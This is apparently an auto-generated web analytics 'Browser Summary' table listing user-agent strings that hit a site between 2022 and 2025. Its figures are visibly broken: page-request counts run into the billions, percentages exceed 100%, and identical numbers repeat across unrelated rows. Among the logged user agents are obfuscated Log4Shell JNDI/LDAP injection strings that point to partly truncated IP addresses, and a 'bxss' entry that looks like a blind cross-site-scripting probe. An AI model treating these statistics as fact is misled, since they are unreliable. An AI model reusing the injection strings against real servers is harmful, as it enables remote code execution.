The Browser Summary identifies the most popular web browsers used to visit
this site.
Browsers are broken down by recognized categories such as
Netscape Navigator/Communicator, Microsoft Internet Explorer, WebTV, Opera
and the like. Within each category is also a subgroup by version number
such as 'MSIE 5.0' or 'Netscape 4.5'.
This report is sorted by number of requests.
Browser Type | Number of requests | Number of page requests in the last 7 days | Percentage of page requests in the last 7 days | |
---|---|---|---|---|
1. | Safari | 9,553 | 4,075,391,601 | 125.48% |
Safari/17618 | 4,796 | 2,422,842,604 | 74.60% | |
Safari/20619 | 15 | 3,964,615,601 | 122.7% | |
Safari/19616 | 126 | 3,964,615,601 | 122.7% | |
Safari/19617 | 152 | 3,964,615,601 | 122.7% | |
Safari/19618 | 30 | 3,964,615,601 | 122.7% | |
Safari/20620 | 43 | 3,964,615,601 | 122.7% | |
Safari/16611 | 45 | 3,964,615,601 | 122.7% | |
Safari/16613 | 1 | 2,753,194,299 | 84.77% | |
Safari/13609 | 14 | 2,753,194,299 | 84.77% | |
Safari/15609 | 11 | 2,753,194,299 | 84.77% | |
Safari/17617 | 966 | 2,753,194,299 | 84.77% | |
Safari/18618 | 6 | 2,753,194,299 | 84.77% | |
Safari/20621 | 32 | 2,753,194,299 | 84.77% | |
Safari/14611 | 8 | 2,753,194,299 | 84.77% | |
Safari/16610 | 7 | 2,753,194,299 | 84.77% | |
Safari/15612 | 2 | 2,753,194,299 | 84.77% | |
Safari/17613 | 78 | 2,422,842,604 | 74.60% | |
Safari/15613 | 8 | 1,211,421,302 | 37.30% | |
Safari/17612 | 21 | 1,211,421,302 | 37.30% | |
Safari/16615 | 11 | 1,211,421,302 | 37.30% | |
2. | SimplePie | 933 | 3,964,615,601 | 122.7% |
SimplePie/1 | 933 | 3,964,615,601 | 122.7% | |
3. | http: | 898 | 4,185,772,340 | 128.88% |
http://hity0SIr0M6Ac | 1 | 2,753,194,299 | 84.77% | |
http://hitSlOmb9T8vv | 1 | 2,753,194,299 | 84.77% | |
http://hitihmtvJDXo1 | 1 | 2,753,194,299 | 84.77% | |
http://hitk271rICdwr | 1 | 2,753,194,299 | 84.77% | |
http://hithj9Cf05pgC | 1 | 2,753,194,299 | 84.77% | |
http://hitrT6xJzOXGm | 1 | 2,753,194,299 | 84.77% | |
http://hit1fXaTZXsmd | 1 | 2,753,194,299 | 84.77% | |
http://bxss | 355 | 2,753,194,299 | 84.77% | |
http://hitz4GqF3ABkq | 1 | 2,753,194,299 | 84.77% | |
http://hitU3CTvMo0lR | 1 | 2,753,194,299 | 84.77% | |
http://hithwIw3iErna | 1 | 2,753,194,299 | 84.77% | |
http://hitrHISq6cGQi | 1 | 2,753,194,299 | 84.77% | |
http://hitnvXcWPRBO9 | 1 | 2,753,194,299 | 84.77% | |
http://hit3yp2Yx1sOP | 1 | 2,753,194,299 | 84.77% | |
http://hit9iKQuK3Tnq | 1 | 2,753,194,299 | 84.77% | |
http://hitsOIvB7nWAO | 1 | 2,753,194,299 | 84.77% | |
http://hitff4jnIFAR8 | 1 | 2,753,194,299 | 84.77% | |
http://hitPzb2Z0VmXr | 1 | 2,753,194,299 | 84.77% | |
http://hit4A5KyqReQ3 | 1 | 2,753,194,299 | 84.77% | |
http://hitiFg3xCI3NN | 1 | 2,753,194,299 | 84.77% | |
4. | Deno | 112 | 3,964,615,601 | 122.7% |
Deno/2 | 6 | 2,753,194,299 | 84.77% | |
Deno/1 | 106 | 1,211,421,302 | 37.30% | |
5. | RestSharp | 28 | 3,964,615,601 | 122.7% |
RestSharp/110 | 12 | 2,753,194,299 | 84.77% | |
RestSharp/108 | 16 | 2,753,194,299 | 84.77% | |
6. | INETDEX-BOT | 947 | 3,964,615,601 | 122.7% |
INETDEX-BOT/2 | 732 | 2,753,194,299 | 84.77% | |
INETDEX-BOT/1 | 215 | 1,211,421,302 | 37.30% | |
7. | ELinks | 9,248 | 3,964,615,601 | 122.7% |
ELinks/0 | 9,248 | 3,964,615,601 | 122.7% | |
8. | ArcMobile2 | 16 | 3,964,615,601 | 122.7% |
ArcMobile2/1 | 16 | 3,964,615,601 | 122.7% | |
9. | Ruby, Mozilla | 75 | 3,964,615,601 | 122.7% |
Ruby, Mozilla/5 | 75 | 3,964,615,601 | 122.7% | |
10. | Googlebot | 538 | 3,964,615,601 | 122.7% |
Googlebot/2 | 532 | 1,211,421,302 | 37.30% | |
11. | iTunes | 28 | 3,964,615,601 | 122.7% |
iTunes/4 | 17 | 2,753,194,299 | 84.77% | |
iTunes/9 | 11 | 1,211,421,302 | 37.30% | |
12. | YOURLS v1.8.1 http: | 56 | 3,964,615,601 | 122.7% |
YOURLS v1.8.1 http://yourls | 56 | 3,964,615,601 | 122.7% | |
13. | PHP | 24 | 3,964,615,601 | 122.7% |
PHP/5 | 24 | 3,964,615,601 | 122.7% | |
14. | Preply | 234 | 3,964,615,601 | 122.7% |
Preply/4109 | 144 | 2,753,194,299 | 84.77% | |
Preply/6 | 6 | 2,753,194,299 | 84.77% | |
Preply/4399 | 84 | 2,753,194,299 | 84.77% | |
15. | t('${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:} | 24 | 3,964,615,601 | 122.7% |
t('${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//141 | 6 | 2,753,194,299 | 84.77% | |
t('${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//45 | 18 | 1,211,421,302 | 37.30% | |
[not listed: 24740] | 45,949,616 | 3,576,258,665 | 110.11% |
This report was generated on June 30, 2025 01:33.
Report time frame August 19, 2022 14:06 to June 28, 2025 19:41.
Web statistics report produced by: | |
![]() | ![]() |